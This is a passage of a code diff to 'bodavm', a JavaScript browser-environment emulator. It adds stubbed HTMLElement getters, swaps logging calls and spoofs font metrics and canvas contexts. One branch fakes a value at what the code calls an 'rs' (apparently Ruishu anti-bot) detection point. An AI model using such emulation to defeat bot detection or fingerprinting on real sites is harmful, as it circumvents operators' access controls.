"!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_offsetLeft_get = function HTMLElement_offsetLeft_get() { console.log_copy("HTMLElement_offsetLeft_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onabort_get = function HTMLElement_onabort_get() { console.log_copy("HTMLElement_onabort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onanimationend_get = function HTMLElement_onanimationend_get() { console.log_copy("HTMLElement_onanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onanimationiteration_get = function HTMLElement_onanimationiteration_get() { console.log_copy("HTMLElement_onanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onanimationstart_get = function HTMLElement_onanimationstart_get() { console.log_copy("HTMLElement_onanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onauxclick_get = function HTMLElement_onauxclick_get() { console.log_copy("HTMLElement_onauxclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onbeforematch_get = function HTMLElement_onbeforematch_get() { console.log_copy("HTMLElement_onbeforematch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onbeforexrselect_get = function HTMLElement_onbeforexrselect_get() { console.log_copy("HTMLElement_onbeforexrselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onblur_get = function HTMLElement_onblur_get() { console.log_copy("HTMLElement_onblur_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncancel_get = function HTMLElement_oncancel_get() { console.log_copy("HTMLElement_oncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncanplay_get = function HTMLElement_oncanplay_get() { console.log_copy("HTMLElement_oncanplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncanplaythrough_get = function HTMLElement_oncanplaythrough_get() { console.log_copy("HTMLElement_oncanplaythrough_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onchange_get = function HTMLElement_onchange_get() { console.log_copy("HTMLElement_onchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onclick_get = function HTMLElement_onclick_get() { console.log_copy("HTMLElement_onclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onclose_get = function HTMLElement_onclose_get() { console.log_copy("HTMLElement_onclose_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncontextlost_get = function HTMLElement_oncontextlost_get() { console.log_copy("HTMLElement_oncontextlost_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncontextmenu_get = function HTMLElement_oncontextmenu_get() { console.log_copy("HTMLElement_oncontextmenu_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncontextrestored_get = function HTMLElement_oncontextrestored_get() { console.log_copy("HTMLElement_oncontextrestored_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncopy_get = function HTMLElement_oncopy_get() { console.log_copy("HTMLElement_oncopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncuechange_get = function HTMLElement_oncuechange_get() { console.log_copy("HTMLElement_oncuechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondblclick_get = function HTMLElement_ondblclick_get() { console.log_copy("HTMLElement_ondblclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncut_get = function HTMLElement_oncut_get() { console.log_copy("HTMLElement_oncut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondrag_get = function HTMLElement_ondrag_get() { console.log_copy("HTMLElement_ondrag_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondragleave_get = function HTMLElement_ondragleave_get() { console.log_copy("HTMLElement_ondragleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondragstart_get = function HTMLElement_ondragstart_get() { console.log_copy("HTMLElement_ondragstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondragenter_get = function HTMLElement_ondragenter_get() { console.log_copy("HTMLElement_ondragenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondragend_get = function HTMLElement_ondragend_get() { console.log_copy("HTMLElement_ondragend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondragover_get = function HTMLElement_ondragover_get() { console.log_copy("HTMLElement_ondragover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondrop_get = function HTMLElement_ondrop_get() { console.log_copy("HTMLElement_ondrop_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondurationchange_get = function HTMLElement_ondurationchange_get() { console.log_copy("HTMLElement_ondurationchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onemptied_get = function HTMLElement_onemptied_get() { console.log_copy("HTMLElement_onemptied_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onended_get = function HTMLElement_onended_get() { console.log_copy("HTMLElement_onended_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onerror_get = function HTMLElement_onerror_get() { console.log_copy("HTMLElement_onerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onfocus_get = function HTMLElement_onfocus_get() { console.log_copy("HTMLElement_onfocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onformdata_get = function HTMLElement_onformdata_get() { console.log_copy("HTMLElement_onformdata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ongotpointercapture_get = function HTMLElement_ongotpointercapture_get() { console.log_copy("HTMLElement_ongotpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oninput_get = function HTMLElement_oninput_get() { console.log_copy("HTMLElement_oninput_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onkeydown_get = function HTMLElement_onkeydown_get() { console.log_copy("HTMLElement_onkeydown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onkeypress_get = function HTMLElement_onkeypress_get() { console.log_copy("HTMLElement_onkeypress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onkeyup_get = function HTMLElement_onkeyup_get() { console.log_copy("HTMLElement_onkeyup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oninvalid_get = function HTMLElement_oninvalid_get() { console.log_copy("HTMLElement_oninvalid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onload_get = function HTMLElement_onload_get() { console.log_copy("HTMLElement_onload_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onloadedmetadata_get = function HTMLElement_onloadedmetadata_get() { console.log_copy("HTMLElement_onloadedmetadata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onlostpointercapture_get = function HTMLElement_onlostpointercapture_get() { console.log_copy("HTMLElement_onlostpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onloadeddata_get = function HTMLElement_onloadeddata_get() { console.log_copy("HTMLElement_onloadeddata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onloadstart_get = function HTMLElement_onloadstart_get() { console.log_copy("HTMLElement_onloadstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmousedown_get = function HTMLElement_onmousedown_get() { console.log_copy("HTMLElement_onmousedown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmouseleave_get = function HTMLElement_onmouseleave_get() { console.log_copy("HTMLElement_onmouseleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmousemove_get = function HTMLElement_onmousemove_get() { console.log_copy("HTMLElement_onmousemove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmouseout_get = function HTMLElement_onmouseout_get() { console.log_copy("HTMLElement_onmouseout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmouseup_get = function HTMLElement_onmouseup_get() { console.log_copy("HTMLElement_onmouseup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmouseover_get = function HTMLElement_onmouseover_get() { console.log_copy("HTMLElement_onmouseover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmousewheel_get = function HTMLElement_onmousewheel_get() { console.log_copy("HTMLElement_onmousewheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpaste_get = function HTMLElement_onpaste_get() { console.log_copy("HTMLElement_onpaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpause_get = function HTMLElement_onpause_get() { console.log_copy("HTMLElement_onpause_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onplay_get = function HTMLElement_onplay_get() { console.log_copy("HTMLElement_onplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onplaying_get = function HTMLElement_onplaying_get() { console.log_copy("HTMLElement_onplaying_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointercancel_get = function HTMLElement_onpointercancel_get() { console.log_copy("HTMLElement_onpointercancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerdown_get = function HTMLElement_onpointerdown_get() { console.log_copy("HTMLElement_onpointerdown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerleave_get = function HTMLElement_onpointerleave_get() { console.log_copy("HTMLElement_onpointerleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointermove_get = function HTMLElement_onpointermove_get() { console.log_copy("HTMLElement_onpointermove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerover_get = function HTMLElement_onpointerover_get() { console.log_copy("HTMLElement_onpointerover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerout_get = function HTMLElement_onpointerout_get() { console.log_copy("HTMLElement_onpointerout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerenter_get = function HTMLElement_onpointerenter_get() { console.log_copy("HTMLElement_onpointerenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerrawupdate_get = function HTMLElement_onpointerrawupdate_get() { console.log_copy("HTMLElement_onpointerrawupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerup_get = function HTMLElement_onpointerup_get() { console.log_copy("HTMLElement_onpointerup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onprogress_get = function HTMLElement_onprogress_get() { console.log_copy("HTMLElement_onprogress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onratechange_get = function HTMLElement_onratechange_get() { console.log_copy("HTMLElement_onratechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onreset_get = function HTMLElement_onreset_get() { console.log_copy("HTMLElement_onreset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onscroll_get = function HTMLElement_onscroll_get() { console.log_copy("HTMLElement_onscroll_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onsecuritypolicyviolation_get = function HTMLElement_onsecuritypolicyviolation_get() { console.log_copy("HTMLElement_onsecuritypolicyviolation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onseeked_get = function HTMLElement_onseeked_get() { console.log_copy("HTMLElement_onseeked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onseeking_get = function HTMLElement_onseeking_get() { console.log_copy("HTMLElement_onseeking_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onselect_get = function HTMLElement_onselect_get() { console.log_copy("HTMLElement_onselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onselectionchange_get = function HTMLElement_onselectionchange_get() { console.log_copy("HTMLElement_onselectionchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onselectstart_get = function HTMLElement_onselectstart_get() { console.log_copy("HTMLElement_onselectstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onslotchange_get = function HTMLElement_onslotchange_get() { console.log_copy("HTMLElement_onslotchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onstalled_get = function HTMLElement_onstalled_get() { console.log_copy("HTMLElement_onstalled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onsuspend_get = function HTMLElement_onsuspend_get() { console.log_copy("HTMLElement_onsuspend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontimeupdate_get = function HTMLElement_ontimeupdate_get() { console.log_copy("HTMLElement_ontimeupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onsubmit_get = function HTMLElement_onsubmit_get() { console.log_copy("HTMLElement_onsubmit_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontoggle_get = function HTMLElement_ontoggle_get() { console.log_copy("HTMLElement_ontoggle_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontransitioncancel_get = function HTMLElement_ontransitioncancel_get() { console.log_copy("HTMLElement_ontransitioncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontransitionrun_get = function HTMLElement_ontransitionrun_get() { console.log_copy("HTMLElement_ontransitionrun_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontransitionstart_get = function HTMLElement_ontransitionstart_get() { console.log_copy("HTMLElement_ontransitionstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontransitionend_get = function HTMLElement_ontransitionend_get() { console.log_copy("HTMLElement_ontransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onvolumechange_get = function HTMLElement_onvolumechange_get() { console.log_copy("HTMLElement_onvolumechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwaiting_get = function HTMLElement_onwaiting_get() { console.log_copy("HTMLElement_onwaiting_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwebkitanimationend_get = function HTMLElement_onwebkitanimationend_get() { console.log_copy("HTMLElement_onwebkitanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwebkitanimationiteration_get = function HTMLElement_onwebkitanimationiteration_get() { console.log_copy("HTMLElement_onwebkitanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwebkitanimationstart_get = function HTMLElement_onwebkitanimationstart_get() { console.log_copy("HTMLElement_onwebkitanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwebkittransitionend_get = function HTMLElement_onwebkittransitionend_get() { console.log_copy("HTMLElement_onwebkittransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwheel_get = function HTMLElement_onwheel_get() { console.log_copy("HTMLElement_onwheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_outerText_get = function HTMLElement_outerText_get() { console.log_copy("HTMLElement_outerText_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_spellcheck_get = function HTMLElement_spellcheck_get() { console.log_copy("HTMLElement_spellcheck_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_tabIndex_get = function HTMLElement_tabIndex_get() { console.log_copy("HTMLElement_tabIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_title_get = function HTMLElement_title_get() { console.log_copy("HTMLElement_title_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_translate_get = function HTMLElement_translate_get() { console.log_copy("HTMLElement_translate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_virtualKeyboardPolicy_get = function HTMLElement_virtualKeyboardPolicy_get() { console.log_copy("HTMLElement_virtualKeyboardPolicy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.HTMLElement_innerText_set = function HTMLElement_innerText_set() { let value = arguments[0] - console.log(`HTMLElement_innerText_set `, ` value->${value}`); + console.log_copy(`HTMLElement_innerText_set `, ` value->${value}`); bobo$(this._boarg).text(value) return value } @@ -5112,7 +5445,7 @@ bodavm.memory.Performance={ } } } - console.log(`HTMLElement_innerText_get `, ` value->${inntext}`); + console.log_copy(`HTMLElement_innerText_get `, ` value->${inntext}`); return inntext } @@ -5120,16 +5453,20 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger } let fontFamily = this._boarg.style.fontFamily - // debugger + if (!fontFamily){ + return this._boarg.offsetHeight + } + debugger // bodavm.bbbbb.push(fontFamily) if (bodavm.memory.globalInit.fontList.indexOf(fontFamily) !== -1) {// 能够识别的字体 let offsetHeight = bodavm.memory.fontsize[fontFamily][1] - console.log(`HTMLElement_offsetHeight_get `, ` fontFamily->${fontFamily}->offsetHeight->${offsetHeight} 可识别的字体 `); + console.log_copy(`HTMLElement_offsetHeight_get `, ` fontFamily->${fontFamily}->offsetHeight->${offsetHeight} 可识别的字体 `); return offsetHeight; } else { // 无法识别的字体 - console.log(`HTMLElement_offsetHeight_get `, `fontFamily->${fontFamily} 151 无法识别的字体 `); - return 151; + console.log_copy(`HTMLElement_offsetHeight_get `, `fontFamily->${fontFamily} 151 无法识别的字体 `); + // return 151; + return 151 } } @@ -5138,13 +5475,16 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger } // debugger let fontFamily = this._boarg.style.fontFamily + if (!fontFamily){ + return this._boarg.offsetWidth + } // bodavm.bbbbb.push(fontFamily) if (bodavm.memory.globalInit.fontList.indexOf(fontFamily) !== -1) {// 能够识别的字体 let offsetWidth = bodavm.memory.fontsize[fontFamily][0] - console.log(`HTMLElement_offsetWidth_get `, ` fontFamily->${fontFamily}->offsetWidth->${offsetWidth} 可识别的字体 `); + console.log_copy(`HTMLElement_offsetWidth_get `, ` fontFamily->${fontFamily}->offsetWidth->${offsetWidth} 可识别的字体 `); return offsetWidth; } else { // 无法识别的字体 - console.log(`HTMLElement_offsetWidth_get `, `fontFamily->${fontFamily} 1327 无法识别的字体 `); + console.log_copy(`HTMLElement_offsetWidth_get `, `fontFamily->${fontFamily} 1327 无法识别的字体 `); return 1327; } @@ -5152,14 +5492,14 @@ bodavm.memory.Performance={ bodavm.envFunc.CSSStyleDeclaration_fontFamily_get = function CSSStyleDeclaration_fontFamily_get() { if (bodavm.config.isdebug) { debugger } let font = this._boarg.fontFamily - console.log(`CSSStyleDeclaration_fontFamily_get `, `font ->${font} `); + console.log_copy(`CSSStyleDeclaration_fontFamily_get `, `font ->${font} `); return font } bodavm.envFunc.CSSStyleDeclaration_fontFamily_set = function CSSStyleDeclaration_fontFamily_set() { if (bodavm.config.isdebug) { debugger } let arg = arguments[0] - console.log(`CSSStyleDeclaration_fontFamily_set `, `${arg} `); + console.log_copy(`CSSStyleDeclaration_fontFamily_set `, `${arg} `); this._boarg.fontFamily = arg return arg } @@ -5169,7 +5509,7 @@ bodavm.memory.Performance={ if ((!bodavm.memory.cache['HTMLElement_style_get'][this])){ bodavm.memory.cache['HTMLElement_style_get'][this]={} }else{ - console.log(`HTMLElement_style_get ->`,`this->`,this,'已存在直接返回') + console.log_copy(`HTMLElement_style_get ->`,`this->`,this,'已存在直接返回') return bodavm.memory.cache['HTMLElement_style_get'][this] } let style = bodavm.memory.cache['HTMLElement_style_get'][this] @@ -5179,7 +5519,7 @@ bodavm.memory.Performance={ style._boarg = oo // bodavm.toolsFunc.symbolProperty(style) style.__proto__ = bodavm.memory.globalobj['CSSStyleDeclaration'].prototype - console.log(`HTMLElement_style_get `, `style->${style}`); + console.log_copy(`HTMLElement_style_get `, `style->${style}`); res=bodavm.toolsFunc.style_(style) style=null return res @@ -5193,50 +5533,50 @@ bodavm.memory.Performance={ debugger if (bodavm.config.isdebug) { debugger } this._attrs['style'] = arg0 - console.log(`HTMLElement_style_set `, `${style} `); + console.log_copy(`HTMLElement_style_set `, `${style} `); return arg0 } bodavm.envFunc.HTMLElement_onmouseenter_get = function HTMLElement_onmouseenter_get() { //鼠标移动事件 if (bodavm.config.isdebug) { debugger } - console.log(`HTMLElement_onmouseenter_get `,); + console.log_copy(`HTMLElement_onmouseenter_get `,); } bodavm.envFunc.HTMLElement_onresize_get = function HTMLElement_onresize_get() { if (bodavm.config.isdebug) { debugger } - console.log(`HTMLElement_onresize_get `, null); + console.log_copy(`HTMLElement_onresize_get `, null); return null } bodavm.envFunc.HTMLElement_onload_set = function HTMLElement_onload_set() { if (bodavm.config.isdebug) { debugger } let func = arguments[0] - console.log(`HTMLElement_onload_set `,); + console.log_copy(`HTMLElement_onload_set `,); bodavm.memory.asyncEvent['HTMLElement']['onload'].push(func) } bodavm.envFunc.HTMLElement_onerror_set = function HTMLElement_onerror_set() { if (bodavm.config.isdebug) { debugger } - console.log(`HTMLElement_onerror_set !!!!!!!!!未完善!!!!!!!!!!!!`,); + console.log_copy(`HTMLElement_onerror_set !!!!!!!!!未完善!!!!!!!!!!!!`,); this._onerror=arguments[0] } //HTMLCollection bodavm.envFunc.HTMLCollection_item = function HTMLCollection_item() { if (bodavm.config.isdebug) { debugger } - console.log(`HTMLCollection_item !!!!!!!!!未完善!!!!!!!!!!!!`,); + console.log_copy(`HTMLCollection_item !!!!!!!!!未完善!!!!!!!!!!!!`,); } bodavm.envFunc.HTMLCollection_length_get = function HTMLCollection_length_get() { if (bodavm.config.isdebug) { debugger } // debugger if (bodavm.config.isrs && this[0] instanceof bodavm.memory.globalobj['HTMLScriptElement']) { - console.log(`HTMLCollection_length_get `, `length:${2}, rs检测点`); + console.log_copy(`HTMLCollection_length_get `, `length:${2}, rs检测点`); return 2 } debugger let length_ = this._boarg.length - console.log(`HTMLCollection_length_get `, `length:${length_}`); + console.log_copy(`HTMLCollection_length_get `, `length:${length_}`); return length_ } @@ -5246,27 +5586,27 @@ bodavm.memory.Performance={ let readyState = arguments[0]; if (bodavm.config.isdebug) { debugger }; this._boarg.myonreadystatechange = readyState - console.log(`XMLHttpRequest_onreadystatechange_set `, `readyState->${readyState} `); + console.log_copy(`XMLHttpRequest_onreadystatechange_set `, `readyState->${readyState} `); return readyState } bodavm.envFunc.XMLHttpRequest_onreadystatechange_get = function () { let readyState = this._boarg.myonreadystatechange; if (bodavm.config.isdebug) { debugger }; - console.log(`XMLHttpRequest_onreadystatechange_set `, `readyState->${readyState} `); + console.log_copy(`XMLHttpRequest_onreadystatechange_set `, `readyState->${readyState} `); return readyState } bodavm.envFunc.XMLHttpRequest_send = function XMLHttpRequest_send() { debugger let body = arguments[0]; if (bodavm.config.isdebug) { debugger }; - console.log(`XMLHttpRequest_send `, `body->${body} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`XMLHttpRequest_send `, `body->${body} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); // this._boarg.send(body) } bodavm.envFunc.XMLHttpRequest_open = function XMLHttpRequest_open() { let method = arguments[0] let url = arguments[1]; - console.log(`XMLHttpRequest_open `, `[${method}] `, `[${url}] `) + console.log_copy(`XMLHttpRequest_open `, `[${method}] `, `[${url}] `) if (bodavm.config.isdebug) { debugger } this.mymethod=method this.myurl=url @@ -5295,7 +5635,7 @@ bodavm.memory.Performance={ 'target': this, '_boisinit':bodavm.config.isinit } - console.log(`EventTarget_addEventListener `, `type->${type} `, `callback->${callback.toString().length>50?callback.toString().substr(0,50)+'...':callback} `, `options->${options ? options : []} `) + console.log_copy(`EventTarget_addEventListener `, `type->${type} `, `callback->${callback.toString().length>50?callback.toString().substr(0,50)+'...':callback} `, `options->${options ? options : []} `) bodavm.memory.asyncEvent.listener[type].push(event); @@ -5306,7 +5646,7 @@ bodavm.memory.Performance={ let event = arguments[0] let botag = arguments[1] //用来判断该事件是不是由我代码主动触发 if (botag == undefined) { - console.log(`EventTarget_dispatchEvent 被网站代码主动触发`, `事件为${event.type}`) + console.log_copy(`EventTarget_dispatchEvent 被网站代码主动触发`, `事件为${event.type}`) } let type = event.type switch (event.type) { @@ -5321,10 +5661,10 @@ bodavm.memory.Performance={ break default: //无需实现的事件unload popstate - console.log(`EventTarget_dispatchEvent `, `${event.type} 未实现`) + console.log_copy(`EventTarget_dispatchEvent `, `${event.type} 未实现`) } - // console.log(`EventTarget_dispatchEvent `, `event->${event}`,` type->${type}`); + // console.log_copy(`EventTarget_dispatchEvent `, `event->${event}`,` type->${type}`); event.callback.call(event.self, event) } @@ -5334,7 +5674,7 @@ bodavm.memory.Performance={ let callback = arguments[1] for (let i = 0; i < bodavm.memory.asyncEvent.listener[type].length; i++) { if (bodavm.memory.asyncEvent.listener[type][i].callback == callback) { - console.log(`EventTarget_removeEventListener `, `type->${type}`, `callback->${callback}`); + console.log_copy(`EventTarget_removeEventListener `, `type->${type}`, `callback->${callback}`); bodavm.memory.asyncEvent.listener[type][i].splice(i, 1) break } @@ -5353,23 +5693,23 @@ bodavm.memory.Performance={ // context = context.getContext('2d') context._bocanvas = this._bocanvas.getContext('2d') context.__proto__ = bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype; - console.log(`HTMLCanvasElement_getContext `, `type->${type} `, `-> res -> ${context}`) + console.log_copy(`HTMLCanvasElement_getContext `, `type->${type} `, `-> res -> ${context}`) break case "webgl": // context = context.getContext('2d') context.__proto__ = bodavm.memory.globalobj['WebGLRenderingContext'].prototype; - console.log(`HTMLCanvasElement_getContext `, `type->${type} `, `-> res -> ${context}`) + console.log_copy(`HTMLCanvasElement_getContext `, `type->${type} `, `-> res -> ${context}`) break case 'experimental-webgl': - console.log(`HTMLCanvasElement_getContext `, `type->${type} `, `context->${context} !!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`HTMLCanvasElement_getContext `, `type->${type} `, `context->${context} !!!!!!!!!未完善!!!!!!!!!!!! `) context.__proto__ = bodavm.memory.globalobj['WebGLRenderingContext'].prototype; // bodavm.toolsFunc.setProtoAttr.call(context, "canvas", this); // bodavm.toolsFunc.setProtoAttr.call(this, "type", type); break default: - console.log(`HTMLCanvasElement_getContext `, `${type}属性未实现 `) + console.log_copy(`HTMLCanvasElement_getContext `, `${type}属性未实现 `) break } return context @@ -5378,27 +5718,27 @@ bodavm.memory.Performance={ bodavm.envFunc.HTMLCanvasElement_width_set = function HTMLCanvasElement_width_set() { let width = arguments[0] this._bocanvas.width = width - console.log(`HTMLCanvasElement_width_set `, `width->${width}`); + 